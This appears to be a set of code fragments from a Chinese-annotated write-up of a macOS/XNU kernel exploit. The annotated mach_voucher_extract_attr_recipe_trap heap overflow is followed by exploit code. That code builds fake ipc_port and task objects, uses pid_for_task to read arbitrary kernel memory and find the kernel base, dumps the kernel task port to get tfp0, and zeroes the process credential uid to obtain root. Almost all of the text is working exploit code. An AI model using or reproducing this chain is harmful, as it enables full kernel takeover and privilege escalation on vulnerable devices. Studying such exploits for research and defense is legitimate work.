kern_return_t
  mach_voucher_extract_attr_recipe_trap(struct mach_voucher_extract_attr_recipe_args *args)
  {
    ipc_voucher_t voucher = IV_NULL;
    kern_return_t kr = KERN_SUCCESS;
    mach_msg_type_number_t sz = 0;
	//将recipe_size的地址拷贝到sz中，此时sz存放的就是kalloc_size的值了
    if (copyin(args->recipe_size, (void *)&sz, sizeof(sz)))     <---------- (a)
      return KERN_MEMORY_ERROR;

    if (sz > MACH_VOUCHER_ATTR_MAX_RAW_RECIPE_ARRAY_SIZE)
      return MIG_ARRAY_TOO_LARGE;

    voucher = convert_port_name_to_voucher(args->voucher_name);
    if (voucher == IV_NULL)
      return MACH_SEND_INVALID_DEST;

    mach_msg_type_number_t __assert_only max_sz = sz;

    if (sz < MACH_VOUCHER_TRAP_STACK_LIMIT) {
      /* keep small recipes on the stack for speed */
      uint8_t krecipe[sz];
      if (copyin(args->recipe, (void *)krecipe, sz)) {
        kr = KERN_MEMORY_ERROR;
        goto done;
      }
      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
    } else {
      uint8_t *krecipe = kalloc((vm_size_t)sz);                 <---------- (b)
      if (!krecipe) {
        kr = KERN_RESOURCE_SHORTAGE;
        goto done;
      }

      if (copyin(args->recipe, (void *)krecipe, args->recipe_size)) {         <----------- (c)
        kfree(krecipe, (vm_size_t)sz);
        kr = KERN_MEMORY_ERROR;
        goto done;
      }

      kr = mach_voucher_extract_attr_recipe(voucher, args->key,
                                            (mach_voucher_attr_raw_recipe_t)krecipe, &sz);
      assert(sz <= max_sz);

      if (kr == KERN_SUCCESS && sz > 0)
        kr = copyout(krecipe, (void *)args->recipe, sz);
      kfree(krecipe, (vm_size_t)sz);
    }

    kr = copyout(&sz, args->recipe_size, sizeof(sz));

  done:
    ipc_voucher_release(voucher);
    return kr;
  }

/* calculate length of data in bytes, rounding up */
if (os_mul_overflow(count, sizeof(mach_port_t), &ports_length)) { 
	*mr = MACH_SEND_TOO_LARGE; 
	return NULL; 
} 

if (os_mul_overflow(count, sizeof(mach_port_name_t), &names_length)) { 
    *mr = MACH_SEND_TOO_LARGE;
	return NULL; 
} 

if(ports_length == 0){
    return user_desc;
}

data = kalloc(ports_length); // 分配空间 
... 
objects = (ipc_object_t *) data; 

dsc->address = data; 

for ( i = 0; i < count; i++) { 
    mach_port_name_t name = names[i]; 
    ipc_object_t object;
    if (!MACH_PORT_VALID(name)) {
        objects[i] = (ipc_object_t)CAST_MACH_NAME_TO_PORT(name);// IPC_PORT_DEAD continue; 
    } 
...
}

struct ipc_port {
	//ipc_object的指针就在前八个字节，是我们溢出攻击的对象
	struct ipc_object ip_object; // port对象的类型 struct ipc_mqueue,ip_messages;
	struct ipc_mqueue ip_messages; //消息队列
	union {
               struct ipc_space *receiver;
               struct ipc_port *destination;
               ipc_port_timestamp_t timestamp;
    }data;
	union {
    	ipc_importance_task_t imp_task;
    	ipc_kobject_t kobject; // port对应的内核对象
    	uintptr_t alias;
	}kdata;
	...
} __attribute__((__packed__));

fakeport->io_bits = IO_BITS_ACTIVE | IKOT_CLOCK; //设置为IKOT_CLOCK对象，并处于激活状态
fakeport->io_lock_data[12] = 0x11;	//设置port锁处于活动状态，防止死锁

static kern_return_t clock_sleep_internal( clock_t clock, sleep_type_t sleep_type, mach_timespec_t *sleep_time)
{
    if (clock == CLOCK_NULL)
      return (KERN_INVALID_ARGUMENT);
    if (clock != &clock_list[SYSTEM_CLOCK])
      return (KERN_FAILURE);
...
}

extern struct clock_ops sysclk_ops, calend_ops;

struct clock clock_list[] = {
    {&sysclk_ops, 0, 0},
    {&calend_ops, 0, 0}
};

//将fake port的类型换成task，因为需要利用pid_for_task这个接口来进行任意地址读
fakeport->io_bits = IKOT_TASK|IO_BITS_ACTIVE;
fakeport->io_references = 0xff;
char* faketask = ((char*)fakeport) + 0x1000;
    
*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;
*(uint64_t*) (faketask + 0x10) = 0xee;

uint64_t leaked_ptr =  *(uint64_t*)(((uint64_t)fakeport) + 0x68);
leaked_ptr &= ~0x3FFF;

while (1) {
        int leaked = 0;
    	*(uint64_t *)(faketask + 0x380) = leaked_ptr -0x10;
        pid_for_task(foundport, &leaked);
        if (leaked == MH_MAGIC_64) {
            printf("found kernel text at 0x%llx\n", leaked_ptr);
            break;
        }
    	//往前一个页面
        leaked_ptr -= 0x4000;
    }

kern_return_t pid_for_task(struct pid_for_task_args *args){
	mach_port_t t = args->t;
    ...
    t1 = port_name_to_task(t);
    p = get_bsdtask_info(t1);
    if(p){
        pid = proc_id(p);
        err = KERN_SUCCESS;
    }
    ...
    (void) copyout((char *)&pid, pid_addr, sizeof(int));
    AUDIT_MACH_SYSCALL_EXIT(err);
    return err;
}

//pid_for_task_args
struct pid_for_task_args{
    PAD_ARG(mach_port_name_t t);
    PAD_ARG(user_addr_r pid);
};

uint64_t kern_task = 0;
kr32(kernproc+0x18, (int32_t*)&kern_task);
kr32(kernproc+0x18+4 , (int32_t*)(((uint64_t)(&kern_task)) + 4));
    
uint64_t itk_kern_sself = 0;
kr32(kern_task+0xe8, (int32_t*)&itk_kern_sself);
kr32(kern_task+0xe8+4 , (int32_t*)(((uint64_t)(&itk_kern_sself)) + 4));
    
char *faketaskport = malloc(0x1000);
char *ktaskdump = malloc(0x1000);
    
for (int i = 0; i < 0x1000/4; i++) {
    kr32(itk_kern_sself+i*4, (int32_t*)(&faketaskport[i*4]));
}

for (int i = 0; i < 0x1000/4; i++) {
    kr32(kern_task+i*4, (int32_t*)(&ktaskdump[i*4]));
}
 
//dump kernel task port
memcpy(fakeport, faketaskport, 0x1000);
memcpy(faketask, ktaskdump, 0x1000);


*(uint64_t*)(((uint64_t)fakeport) + 0x68) = faketask;
*(uint64_t*)(((uint64_t)fakeport) + 0xa0) = 0xff;

*(uint64_t*)(((uint64_t)faketask) + 0x2b8) = itk_kern_sself;

//get kernel task
task_get_special_port(foundport, 4, &tfp0);
printf("tfp0 = 0x%x\n", tfp0);

fakeport->io_bits = 0;

uint64_t slide;
slide = kernel_base - 0xFFFFFF8000200000;

printf("kernel_base=0x%llx slide=0x%llx header=0x%llx\n",kernel_base, slide,ReadAnywhere64(kernel_base));

//get root
uint64_t cred = ReadAnywhere64(myproc+0xe8);
WriteAnywhere64(cred+0x18,0);